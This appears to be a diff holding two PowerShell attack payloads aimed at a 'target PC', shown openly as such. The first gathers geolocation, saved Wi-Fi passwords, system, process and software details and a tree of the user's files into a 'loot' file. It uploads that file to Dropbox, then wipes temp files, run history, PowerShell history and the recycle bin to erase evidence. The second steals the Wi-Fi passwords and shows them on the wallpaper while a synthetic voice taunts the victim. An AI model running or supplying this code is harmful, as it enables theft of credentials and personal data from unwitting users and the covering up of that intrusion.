$GeoWatcher.Start() #Begin resolving current locaton
|
||||
|
||||
while (($GeoWatcher.Status -ne 'Ready') -and ($GeoWatcher.Permission -ne 'Denied')) {
|
||||
Start-Sleep -Milliseconds 100 #Wait for discovery.
|
||||
}
|
||||
|
||||
if ($GeoWatcher.Permission -eq 'Denied'){
|
||||
Write-Error 'Access Denied for Location Information'
|
||||
} else {
|
||||
$GeoWatcher.Position.Location | Select Latitude,Longitude #Select the relevent results.
|
||||
}
|
||||
}
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "No coordinates found"
|
||||
return "No Coordinates found"
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
$GL = Get-GeoLocation
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# Get nearby wifi networks
|
||||
|
||||
try
|
||||
{
|
||||
$NearbyWifi = (netsh wlan show networks mode=Bssid | ?{$_ -like "SSID*" -or $_ -like "*Authentication*" -or $_ -like "*Encryption*"}).trim()
|
||||
}
|
||||
catch
|
||||
{
|
||||
$NearbyWifi="No nearby wifi networks detected"
|
||||
}
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# Get info about pc
|
||||
|
||||
# Get IP / Network Info
|
||||
try
|
||||
{
|
||||
$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content
|
||||
}
|
||||
catch
|
||||
{
|
||||
$computerPubIP="Error getting Public IP"
|
||||
}
|
||||
|
||||
$computerIP = get-WmiObject Win32_NetworkAdapterConfiguration|Where {$_.Ipaddress.length -gt 1}
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
$IsDHCPEnabled = $false
|
||||
$Networks = Get-WmiObject Win32_NetworkAdapterConfiguration -Filter "DHCPEnabled=$True" | ? {$_.IPEnabled}
|
||||
foreach ($Network in $Networks) {
|
||||
If($network.DHCPEnabled) {
|
||||
$IsDHCPEnabled = $true
|
||||
}
|
||||
$MAC = ipconfig /all | Select-String -Pattern "physical" | select-object -First 1; $MAC = [string]$MAC; $MAC = $MAC.Substring($MAC.Length - 17)
|
||||
}
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
#Get System Info
|
||||
$computerSystem = Get-CimInstance CIM_ComputerSystem
|
||||
$computerBIOS = Get-CimInstance CIM_BIOSElement
|
||||
|
||||
$computerOs=Get-WmiObject win32_operatingsystem | select Caption, CSName, Version, @{Name="InstallDate";Expression={([WMI]'').ConvertToDateTime($_.InstallDate)}} , @{Name="LastBootUpTime";Expression={([WMI]'').ConvertToDateTime($_.LastBootUpTime)}}, @{Name="LocalDateTime";Expression={([WMI]'').ConvertToDateTime($_.LocalDateTime)}}, CurrentTimeZone, CountryCode, OSLanguage, SerialNumber, WindowsDirectory | Format-List
|
||||
$computerCpu=Get-WmiObject Win32_Processor | select DeviceID, Name, Caption, Manufacturer, MaxClockSpeed, L2CacheSize, L2CacheSpeed, L3CacheSize, L3CacheSpeed | Format-List
|
||||
$computerMainboard=Get-WmiObject Win32_BaseBoard | Format-List
|
||||
|
||||
$computerRamCapacity=Get-WmiObject Win32_PhysicalMemory | Measure-Object -Property capacity -Sum | % { "{0:N1} GB" -f ($_.sum / 1GB)}
|
||||
$computerRam=Get-WmiObject Win32_PhysicalMemory | select DeviceLocator, @{Name="Capacity";Expression={ "{0:N1} GB" -f ($_.Capacity / 1GB)}}, ConfiguredClockSpeed, ConfiguredVoltage | Format-Table
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# Get HDDs
|
||||
$driveType = @{
|
||||
2="Removable disk "
|
||||
3="Fixed local disk "
|
||||
4="Network disk "
|
||||
5="Compact disk "}
|
||||
$Hdds = Get-WmiObject Win32_LogicalDisk | select DeviceID, VolumeName, @{Name="DriveType";Expression={$driveType.item([int]$_.DriveType)}}, FileSystem,VolumeSerialNumber,@{Name="Size_GB";Expression={"{0:N1} GB" -f ($_.Size / 1Gb)}}, @{Name="FreeSpace_GB";Expression={"{0:N1} GB" -f ($_.FreeSpace / 1Gb)}}, @{Name="FreeSpace_percent";Expression={"{0:N1}%" -f ((100 / ($_.Size / $_.FreeSpace)))}} | Format-Table DeviceID, VolumeName,DriveType,FileSystem,VolumeSerialNumber,@{ Name="Size GB"; Expression={$_.Size_GB}; align="right"; }, @{ Name="FreeSpace GB"; Expression={$_.FreeSpace_GB}; align="right"; }, @{ Name="FreeSpace %"; Expression={$_.FreeSpace_percent}; align="right"; }
|
||||
|
||||
#Get - Com & Serial Devices
|
||||
$COMDevices = Get-Wmiobject Win32_USBControllerDevice | ForEach-Object{[Wmi]($_.Dependent)} | Select-Object Name, DeviceID, Manufacturer | Sort-Object -Descending Name | Format-Table
|
||||
|
||||
# Check RDP
|
||||
$RDP
|
||||
if ((Get-ItemProperty "hklm:\System\CurrentControlSet\Control\Terminal Server").fDenyTSConnections -eq 0) {
|
||||
$RDP = "RDP is Enabled"
|
||||
} else {
|
||||
$RDP = "RDP is NOT enabled"
|
||||
}
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# Get Network Interfaces
|
||||
$Network = Get-WmiObject Win32_NetworkAdapterConfiguration | where { $_.MACAddress -notlike $null } | select Index, Description, IPAddress, DefaultIPGateway, MACAddress | Format-Table Index, Description, IPAddress, DefaultIPGateway, MACAddress
|
||||
|
||||
# Get wifi SSIDs and Passwords
|
||||
$WLANProfileNames =@()
|
||||
#Get all the WLAN profile names
|
||||
$Output = netsh.exe wlan show profiles | Select-String -pattern " : "
|
||||
#Trim the output to receive only the name
|
||||
Foreach($WLANProfileName in $Output){
|
||||
$WLANProfileNames += (($WLANProfileName -split ":")[1]).Trim()
|
||||
}
|
||||
$WLANProfileObjects =@()
|
||||
#Bind the WLAN profile names and also the password to a custom object
|
||||
Foreach($WLANProfileName in $WLANProfileNames){
|
||||
#get the output for the specified profile name and trim the output to receive the password if there is no password it will inform the user
|
||||
try{
|
||||
$WLANProfilePassword = (((netsh.exe wlan show profiles name="$WLANProfileName" key=clear | select-string -Pattern "Key Content") -split ":")[1]).Trim()
|
||||
}Catch{
|
||||
$WLANProfilePassword = "The password is not stored in this profile"
|
||||
}
|
||||
#Build the object and add this to an array
|
||||
$WLANProfileObject = New-Object PSCustomobject
|
||||
$WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfileName" -Value $WLANProfileName
|
||||
$WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfilePassword" -Value $WLANProfilePassword
|
||||
$WLANProfileObjects += $WLANProfileObject
|
||||
Remove-Variable WLANProfileObject
|
||||
}
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# local-user
|
||||
$luser=Get-WmiObject -Class Win32_UserAccount | Format-Table Caption, Domain, Name, FullName, SID
|
||||
|
||||
# process first
|
||||
$process=Get-WmiObject win32_process | select Handle, ProcessName, ExecutablePath, CommandLine
|
||||
|
||||
# Get Listeners / ActiveTcpConnections
|
||||
$listener = Get-NetTCPConnection | select @{Name="LocalAddress";Expression={$_.LocalAddress + ":" + $_.LocalPort}}, @{Name="RemoteAddress";Expression={$_.RemoteAddress + ":" + $_.RemotePort}}, State, AppliedSetting, OwningProcess
|
||||
$listener = $listener | foreach-object {
|
||||
$listenerItem = $_
|
||||
$processItem = ($process | where { [int]$_.Handle -like [int]$listenerItem.OwningProcess })
|
||||
new-object PSObject -property @{
|
||||
"LocalAddress" = $listenerItem.LocalAddress
|
||||
"RemoteAddress" = $listenerItem.RemoteAddress
|
||||
"State" = $listenerItem.State
|
||||
"AppliedSetting" = $listenerItem.AppliedSetting
|
||||
"OwningProcess" = $listenerItem.OwningProcess
|
||||
"ProcessName" = $processItem.ProcessName
|
||||
}
|
||||
} | select LocalAddress, RemoteAddress, State, AppliedSetting, OwningProcess, ProcessName | Sort-Object LocalAddress | Format-Table
|
||||
|
||||
# process last
|
||||
$process = $process | Sort-Object ProcessName | Format-Table Handle, ProcessName, ExecutablePath, CommandLine
|
||||
|
||||
# service
|
||||
$service=Get-WmiObject win32_service | select State, Name, DisplayName, PathName, @{Name="Sort";Expression={$_.State + $_.Name}} | Sort-Object Sort | Format-Table State, Name, DisplayName, PathName
|
||||
|
||||
# installed software (get uninstaller)
|
||||
$software=Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | where { $_.DisplayName -notlike $null } | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Sort-Object DisplayName | Format-Table -AutoSize
|
||||
|
||||
# drivers
|
||||
$drivers=Get-WmiObject Win32_PnPSignedDriver| where { $_.DeviceName -notlike $null } | select DeviceName, FriendlyName, DriverProviderName, DriverVersion
|
||||
|
||||
# videocard
|
||||
$videocard=Get-WmiObject Win32_VideoController | Format-Table Name, VideoProcessor, DriverVersion, CurrentHorizontalResolution, CurrentVerticalResolution
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# MAKE LOOT FOLDER
|
||||
|
||||
$FileName = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_computer_recon.txt"
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# OUTPUTS RESULTS TO LOOT FILE
|
||||
|
||||
Clear-Host
|
||||
Write-Host
|
||||
|
||||
echo "Name:" >> $env:TMP\$FileName
|
||||
echo "==================================================================" >> $env:TMP\$FileName
|
||||
echo $FN >> $env:TMP\$FileName
|
||||
echo "" >> $env:TMP\$FileName
|
||||
echo "Email:" >> $env:TMP\$FileName
|
||||
echo "==================================================================" >> $env:TMP\$FileName
|
||||
echo $EM >> $env:TMP\$FileName
|
||||
echo "" >> $env:TMP\$FileName
|
||||
echo "GeoLocation:" >> $env:TMP\$FileName
|
||||
echo "==================================================================" >> $env:TMP\$FileName
|
||||
echo $GL >> $env:TMP\$FileName
|
||||
echo "" >> $env:TMP\$FileName
|
||||
echo "Nearby Wifi:" >> $env:TMP\$FileName
|
||||
echo "==================================================================" >> $env:TMP\$FileName
|
||||
echo $NearbyWifi >> $env:TMP\$FileName
|
||||
echo "" >> $env:TMP\$FileName
|
||||
$computerSystem.Name >> $env:TMP\$FileName
|
||||
"==================================================================
|
||||
Manufacturer: " + $computerSystem.Manufacturer >> $env:TMP\$FileName
|
||||
"Model: " + $computerSystem.Model >> $env:TMP\$FileName
|
||||
"Serial Number: " + $computerBIOS.SerialNumber >> $env:TMP\$FileName
|
||||
"" >> $env:TMP\$FileName
|
||||
"" >> $env:TMP\$FileName
|
||||
"" >> $env:TMP\$FileName
|
||||
|
||||
"OS:
|
||||
=================================================================="+ ($computerOs |out-string) >> $env:TMP\$FileName
|
||||
|
||||
"CPU:
|
||||
=================================================================="+ ($computerCpu| out-string) >> $env:TMP\$FileName
|
||||
|
||||
"RAM:
|
||||
==================================================================
|
||||
Capacity: " + $computerRamCapacity+ ($computerRam| out-string) >> $env:TMP\$FileName
|
||||
|
||||
"Mainboard:
|
||||
=================================================================="+ ($computerMainboard| out-string) >> $env:TMP\$FileName
|
||||
|
||||
"Bios:
|
||||
=================================================================="+ (Get-WmiObject win32_bios| out-string) >> $env:TMP\$FileName
|
||||
|
||||
|
||||
"Local-user:
|
||||
=================================================================="+ ($luser| out-string) >> $env:TMP\$FileName
|
||||
|
||||
"HDDs:
|
||||
=================================================================="+ ($Hdds| out-string) >> $env:TMP\$FileName
|
||||
|
||||
"COM & SERIAL DEVICES:
|
||||
==================================================================" + ($COMDevices | Out-String) >> $env:TMP\$FileName
|
||||
|
||||
"Network:
|
||||
==================================================================
|
||||
Computers MAC address: " + $MAC >> $env:TMP\$FileName
|
||||
"Computers IP address: " + $computerIP.ipaddress[0] >> $env:TMP\$FileName
|
||||
"Public IP address: " + $computerPubIP >> $env:TMP\$FileName
|
||||
"RDP: " + $RDP >> $env:TMP\$FileName
|
||||
"" >> $env:TMP\$FileName
|
||||
($Network| out-string) >> $env:TMP\$FileName
|
||||
|
||||
"W-Lan profiles:
|
||||
=================================================================="+ ($WLANProfileObjects| Out-String) >> $env:TMP\$FileName
|
||||
|
||||
"listeners / ActiveTcpConnections
|
||||
=================================================================="+ ($listener| Out-String) >> $env:TMP\$FileName
|
||||
|
||||
"Current running process:
|
||||
=================================================================="+ ($process| Out-String) >> $env:TMP\$FileName
|
||||
|
||||
"Services:
|
||||
=================================================================="+ ($service| Out-String) >> $env:TMP\$FileName
|
||||
|
||||
"Installed software:
|
||||
=================================================================="+ ($software| Out-String) >> $env:TMP\$FileName
|
||||
|
||||
"Installed drivers:
|
||||
=================================================================="+ ($drivers| Out-String) >> $env:TMP\$FileName
|
||||
|
||||
"Installed videocards:
|
||||
==================================================================" + ($videocard| Out-String) >> $env:TMP\$FileName
|
||||
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# Recon all User Directories
|
||||
#tree $Env:userprofile /a /f | Out-File -FilePath $Env:tmp\j-loot\tree.txt
|
||||
tree $Env:userprofile /a /f >> $env:TMP\$FileName
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# Remove Variables
|
||||
|
||||
Remove-Variable -Name computerPubIP,
|
||||
computerIP,IsDHCPEnabled,Network,Networks,
|
||||
computerMAC,computerSystem,computerBIOS,computerOs,
|
||||
computerCpu, computerMainboard,computerRamCapacity,
|
||||
computerRam,driveType,Hdds,RDP,WLANProfileNames,WLANProfileName,
|
||||
Output,WLANProfileObjects,WLANProfilePassword,WLANProfileObject,luser,
|
||||
process,listener,listenerItem,process,service,software,drivers,videocard,
|
||||
vault -ErrorAction SilentlyContinue -Force
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# Upload output file to dropbox
|
||||
|
||||
$TargetFilePath="/$FileName"
|
||||
$SourceFilePath="$env:TMP\$FileName"
|
||||
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
|
||||
$authorization = "Bearer " + $DropBoxAccessToken
|
||||
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
|
||||
$headers.Add("Authorization", $authorization)
|
||||
$headers.Add("Dropbox-API-Arg", $arg)
|
||||
$headers.Add("Content-Type", 'application/octet-stream')
|
||||
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This is to clean up behind you and remove any evidence to prove you were there
|
||||
#>
|
||||
|
||||
# Delete contents of Temp folder
|
||||
|
||||
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||
|
||||
# Delete run box history
|
||||
|
||||
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||
|
||||
# Delete powershell history
|
||||
|
||||
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||
|
||||
# Deletes contents of recycle bin
|
||||
|
||||
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# Popup message to signal the payload is done
|
||||
|
||||
$done = New-Object -ComObject Wscript.Shell;$done.Popup("script is done",1)
|
||||
```
|
||||
@@ -0,0 +1,688 @@
|
||||
```PowerShell
|
||||
<#
|
||||
.NOTES
|
||||
This script was not optimized to shorten the code. This script is intended to have as much readablility as possible for new coders to learn.
|
||||
|
||||
.DESCRIPTION
|
||||
This program gathers details from target PC to include Operating System, RAM Capacity, Public IP, and Email associated with microsoft account.
|
||||
The SSID and WiFi password of any current or previously connected to networks.
|
||||
It determines the last day they changed thier password and how many days ago.
|
||||
Once the information is gathered the script will pause until a mouse movement is detected
|
||||
Then the script uses Sapi speak to roast their set up and lack of security
|
||||
#>
|
||||
############################################################################################################################################################
|
||||
|
||||
# Variables
|
||||
|
||||
|
||||
$s=New-Object -ComObject SAPI.SpVoice
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# Intro ---------------------------------------------------------------------------------------------------
|
||||
function Get-fullName {
|
||||
|
||||
try {
|
||||
|
||||
$fullName = Net User $Env:username | Select-String -Pattern "Full Name";$fullName = ("$fullName").TrimStart("Full Name")
|
||||
|
||||
}
|
||||
|
||||
# If no name is detected function will return $env:UserName
|
||||
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "No name was detected"
|
||||
return $env:UserName
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
return $fullName
|
||||
|
||||
}
|
||||
|
||||
$fullName = Get-fullName
|
||||
|
||||
# echo statement used to track progress while debugging
|
||||
echo "Intro Done"
|
||||
|
||||
###########################################################################################################
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
RAM Info
|
||||
This will get the amount of RAM the target computer has
|
||||
#>
|
||||
|
||||
|
||||
function Get-RAM {
|
||||
|
||||
try {
|
||||
|
||||
$OS = (Get-WmiObject Win32_OperatingSystem).Name;$OSpos = $OS.IndexOf("|");$OS = $OS.Substring(0, $OSpos)
|
||||
|
||||
$RAM=Get-WmiObject Win32_PhysicalMemory | Measure-Object -Property capacity -Sum | % { "{0:N1}" -f ($_.sum / 1GB)}
|
||||
$RAMpos = $RAM.IndexOf('.')
|
||||
$RAM = [int]$RAM.Substring(0,$RAMpos).Trim()
|
||||
|
||||
# ENTER YOUR CUSTOM RESPONSES HERE
|
||||
#----------------------------------------------------------------------------------------------------
|
||||
$lowRAM = "$RAM gigs of ram? might as well use pen and paper"
|
||||
|
||||
$okRAM = "$RAM gigs of ram really? I have a calculator with more computing power"
|
||||
|
||||
$goodRAM = "$RAM gigs of ram? Can almost guarantee you have a light up keyboard.. you are a wanna be streamer huh?"
|
||||
|
||||
$impressiveRAM = "$RAM gigs of ram? are you serious? a super computer with no security that is funny right there"
|
||||
#----------------------------------------------------------------------------------------------------
|
||||
|
||||
if($RAM -le 4){
|
||||
return $lowRAM
|
||||
} elseif($RAM -ge 5 -and $RAM -le 12){
|
||||
return $okRAM
|
||||
} elseif($RAM -ge 13 -and $RAM -le 24){
|
||||
return $goodRAM
|
||||
} else {
|
||||
return $impressiveRAM
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
# If one of the above parameters is not detected function will return $null to avoid sapi speak
|
||||
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "Error in search"
|
||||
return $null
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
}
|
||||
|
||||
# echo statement used to track progress while debugging
|
||||
echo "RAM Info Done"
|
||||
|
||||
###########################################################################################################
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
Public IP
|
||||
This will get the public IP from the target computer
|
||||
#>
|
||||
|
||||
|
||||
function Get-PubIP {
|
||||
|
||||
try {
|
||||
|
||||
$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content
|
||||
|
||||
}
|
||||
|
||||
# If no Public IP is detected function will return $null to avoid sapi speak
|
||||
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "No Public IP was detected"
|
||||
return $null
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
return "your public I P address is $computerPubIP"
|
||||
}
|
||||
|
||||
# echo statement used to track progress while debugging
|
||||
echo "Pub IP Done"
|
||||
|
||||
###########################################################################################################
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
Wifi Network and Password
|
||||
This function will custom a tailor response based on how many characters long their password is
|
||||
#>
|
||||
|
||||
|
||||
function Get-Pass {
|
||||
|
||||
#-----VARIABLES-----#
|
||||
# $pwl = their Pass Word Length
|
||||
# $pass = their Password
|
||||
|
||||
try {
|
||||
|
||||
$pro = netsh wlan show interface | Select-String -Pattern ' SSID '; $pro = [string]$pro
|
||||
$pos = $pro.IndexOf(':')
|
||||
$pro = $pro.Substring($pos+2).Trim()
|
||||
|
||||
$pass = netsh wlan show profile $pro key=clear | Select-String -Pattern 'Key Content'; $pass = [string]$pass
|
||||
$passPOS = $pass.IndexOf(':')
|
||||
$pass = $pass.Substring($passPOS+2).Trim()
|
||||
|
||||
if($pro -like '*_5GHz*') {
|
||||
$pro = $pro.Trimend('_5GHz')
|
||||
}
|
||||
|
||||
$pwl = $pass.length
|
||||
|
||||
|
||||
}
|
||||
|
||||
# If no network is detected function will return $null to avoid sapi speak
|
||||
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "No network was detected"
|
||||
return $null
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
|
||||
# ENTER YOUR CUSTOM RESPONSES HERE
|
||||
#----------------------------------------------------------------------------------------------------
|
||||
$badPASS = "$pro is not a very creative name but at least it is not as bad as your wifi password... only $pwl characters long? $pass ...? really..? $pass was the best you could come up with?"
|
||||
|
||||
$okPASS = "$pro is not a very creative name but at least you are trying a little bit, your password is $pwl characters long, still trash though.. $pass ...? You can do better"
|
||||
|
||||
$goodPASS = "$pro is not a very creative name but At least you are not a total fool... $pwl character long password actually is not bad, but it did not save you from me did it? no..it..did..not! $pass is a decent password though."
|
||||
#----------------------------------------------------------------------------------------------------
|
||||
|
||||
if($pass.length -lt 8) { return $badPASS
|
||||
|
||||
}elseif($pass.length -gt 7 -and $pass.length -lt 12) { return $okPASS
|
||||
|
||||
}else { return $goodPASS
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# echo statement used to track progress while debugging
|
||||
echo "Wifi pass Done"
|
||||
|
||||
###########################################################################################################
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
All Wifi Networks and Passwords
|
||||
This function will gather all current Networks and Passwords saved on the target computer
|
||||
They will be save in the temp directory to a file named with "$env:USERNAME-$(get-date -f yyyy-MM-dd)_WiFi-PWD.txt"
|
||||
#>
|
||||
|
||||
Function Get-Networks {
|
||||
# Get Network Interfaces
|
||||
$Network = Get-WmiObject Win32_NetworkAdapterConfiguration | where { $_.MACAddress -notlike $null } | select Index, Description, IPAddress, DefaultIPGateway, MACAddress | Format-Table Index, Description, IPAddress, DefaultIPGateway, MACAddress
|
||||
|
||||
# Get Wifi SSIDs and Passwords
|
||||
$WLANProfileNames =@()
|
||||
|
||||
#Get all the WLAN profile names
|
||||
$Output = netsh.exe wlan show profiles | Select-String -pattern " : "
|
||||
|
||||
#Trim the output to receive only the name
|
||||
Foreach($WLANProfileName in $Output){
|
||||
$WLANProfileNames += (($WLANProfileName -split ":")[1]).Trim()
|
||||
}
|
||||
$WLANProfileObjects =@()
|
||||
|
||||
#Bind the WLAN profile names and also the password to a custom object
|
||||
Foreach($WLANProfileName in $WLANProfileNames){
|
||||
|
||||
#get the output for the specified profile name and trim the output to receive the password if there is no password it will inform the user
|
||||
try{
|
||||
$WLANProfilePassword = (((netsh.exe wlan show profiles name="$WLANProfileName" key=clear | select-string -Pattern "Key Content") -split ":")[1]).Trim()
|
||||
}Catch{
|
||||
$WLANProfilePassword = "The password is not stored in this profile"
|
||||
}
|
||||
|
||||
#Build the object and add this to an array
|
||||
$WLANProfileObject = New-Object PSCustomobject
|
||||
$WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfileName" -Value $WLANProfileName
|
||||
$WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfilePassword" -Value $WLANProfilePassword
|
||||
$WLANProfileObjects += $WLANProfileObject
|
||||
Remove-Variable WLANProfileObject
|
||||
|
||||
}
|
||||
return $WLANProfileObjects
|
||||
}
|
||||
|
||||
$Networks = Get-Networks
|
||||
|
||||
Add-Type @"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
public class PInvoke {
|
||||
[DllImport("user32.dll")] public static extern IntPtr GetDC(IntPtr hwnd);
|
||||
[DllImport("gdi32.dll")] public static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
|
||||
}
|
||||
"@
|
||||
$hdc = [PInvoke]::GetDC([IntPtr]::Zero)
|
||||
$w = [PInvoke]::GetDeviceCaps($hdc, 118) # width
|
||||
$h = [PInvoke]::GetDeviceCaps($hdc, 117) # height
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This will take the image you generated and set it as the targets wall paper
|
||||
#>
|
||||
|
||||
Function Set-WallPaper {
|
||||
|
||||
<#
|
||||
|
||||
.SYNOPSIS
|
||||
Applies a specified wallpaper to the current user's desktop
|
||||
|
||||
.PARAMETER Image
|
||||
Provide the exact path to the image
|
||||
|
||||
.PARAMETER Style
|
||||
Provide wallpaper style (Example: Fill, Fit, Stretch, Tile, Center, or Span)
|
||||
|
||||
.EXAMPLE
|
||||
Set-WallPaper -Image "C:\Wallpaper\Default.jpg"
|
||||
Set-WallPaper -Image "C:\Wallpaper\Background.jpg" -Style Fit
|
||||
|
||||
#>
|
||||
|
||||
|
||||
param (
|
||||
[parameter(Mandatory=$True)]
|
||||
# Provide path to image
|
||||
[string]$Image,
|
||||
# Provide wallpaper style that you would like applied
|
||||
[parameter(Mandatory=$False)]
|
||||
[ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')]
|
||||
[string]$Style
|
||||
)
|
||||
|
||||
$WallpaperStyle = Switch ($Style) {
|
||||
|
||||
"Fill" {"10"}
|
||||
"Fit" {"6"}
|
||||
"Stretch" {"2"}
|
||||
"Tile" {"0"}
|
||||
"Center" {"0"}
|
||||
"Span" {"22"}
|
||||
|
||||
}
|
||||
|
||||
If($Style -eq "Tile") {
|
||||
|
||||
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
|
||||
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 1 -Force
|
||||
|
||||
}
|
||||
Else {
|
||||
|
||||
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
|
||||
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 0 -Force
|
||||
|
||||
}
|
||||
|
||||
Add-Type -TypeDefinition @"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
public class Params
|
||||
{
|
||||
[DllImport("User32.dll",CharSet=CharSet.Unicode)]
|
||||
public static extern int SystemParametersInfo (Int32 uAction,
|
||||
Int32 uParam,
|
||||
String lpvParam,
|
||||
Int32 fuWinIni);
|
||||
}
|
||||
"@
|
||||
|
||||
$SPI_SETDESKWALLPAPER = 0x0014
|
||||
$UpdateIniFile = 0x01
|
||||
$SendChangeEvent = 0x02
|
||||
|
||||
$fWinIni = $UpdateIniFile -bor $SendChangeEvent
|
||||
|
||||
$ret = [Params]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $Image, $fWinIni)
|
||||
}
|
||||
|
||||
#############################################################################################################################################
|
||||
|
||||
Function WallPaper-Troll {
|
||||
|
||||
if (!$Networks) { Write-Host "variable is null"
|
||||
}else {
|
||||
|
||||
# This is the name of the file the networks and passwords are saved
|
||||
|
||||
$FileName = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_WiFi-PWD.txt"
|
||||
|
||||
($Networks| Out-String) >> $Env:temp\$FileName
|
||||
|
||||
$content = [IO.File]::ReadAllText("$Env:temp\$FileName")
|
||||
|
||||
|
||||
# this is the message that will be coded into the image you use as the wallpaper
|
||||
|
||||
$hiddenMessage = "`n`nMy crime is that of curiosity `nand yea curiosity killed the cat `nbut satisfaction brought him back `n with love -Jakoby"
|
||||
|
||||
# this will be the name of the image you use as the wallpaper
|
||||
|
||||
$ImageName = "dont-be-suspicious"
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This will get take the information gathered and format it into a .jpg
|
||||
#>
|
||||
|
||||
Add-Type -AssemblyName System.Drawing
|
||||
|
||||
$filename = "$env:tmp\foo.jpg"
|
||||
$bmp = new-object System.Drawing.Bitmap $w,$h
|
||||
$font = new-object System.Drawing.Font Consolas,18
|
||||
$brushBg = [System.Drawing.Brushes]::White
|
||||
$brushFg = [System.Drawing.Brushes]::Black
|
||||
$graphics = [System.Drawing.Graphics]::FromImage($bmp)
|
||||
$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height)
|
||||
$graphics.DrawString($content,$font,$brushFg,500,100)
|
||||
$graphics.Dispose()
|
||||
$bmp.Save($filename)
|
||||
|
||||
# Invoke-Item $filename
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This will take your hidden message and use steganography to hide it in the image you use as the wallpaper
|
||||
Then it will clean up the files you don't want to leave behind
|
||||
#>
|
||||
|
||||
echo $hiddenMessage > $Env:temp\foo.txt
|
||||
cmd.exe /c copy /b "$Env:temp\foo.jpg" + "$Env:temp\foo.txt" "$Env:USERPROFILE\Desktop\$ImageName.jpg"
|
||||
|
||||
rm $env:TEMP\foo.txt,$env:TEMP\foo.jpg -r -Force -ErrorAction SilentlyContinue
|
||||
|
||||
|
||||
#############################################################################################################################################
|
||||
|
||||
|
||||
# This will open up notepad with all their saved networks and passwords and taunt them
|
||||
|
||||
|
||||
$s.Speak("wanna see something really cool?")
|
||||
Set-WallPaper -Image "$Env:USERPROFILE\Desktop\$ImageName.jpg" -Style Center
|
||||
$s.Speak("Look at all your other passswords I got..")
|
||||
Start-Sleep -Seconds 1
|
||||
$s.Speak("These are the wifi passwords for every network you've ever connected to!")
|
||||
Start-Sleep -Seconds 1
|
||||
$s.Speak("I could send them to myself but i wont")
|
||||
|
||||
}
|
||||
|
||||
# echo statement used to track progress while debugging
|
||||
echo "All Wifi Passes Done"
|
||||
}
|
||||
|
||||
|
||||
###########################################################################################################
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
Password last Set
|
||||
This function will custom tailor a response based on how long it has been since they last changed their password
|
||||
#>
|
||||
|
||||
|
||||
function Get-Days_Set {
|
||||
|
||||
#-----VARIABLES-----#
|
||||
# $pls (password last set) = the date/time their password was last changed
|
||||
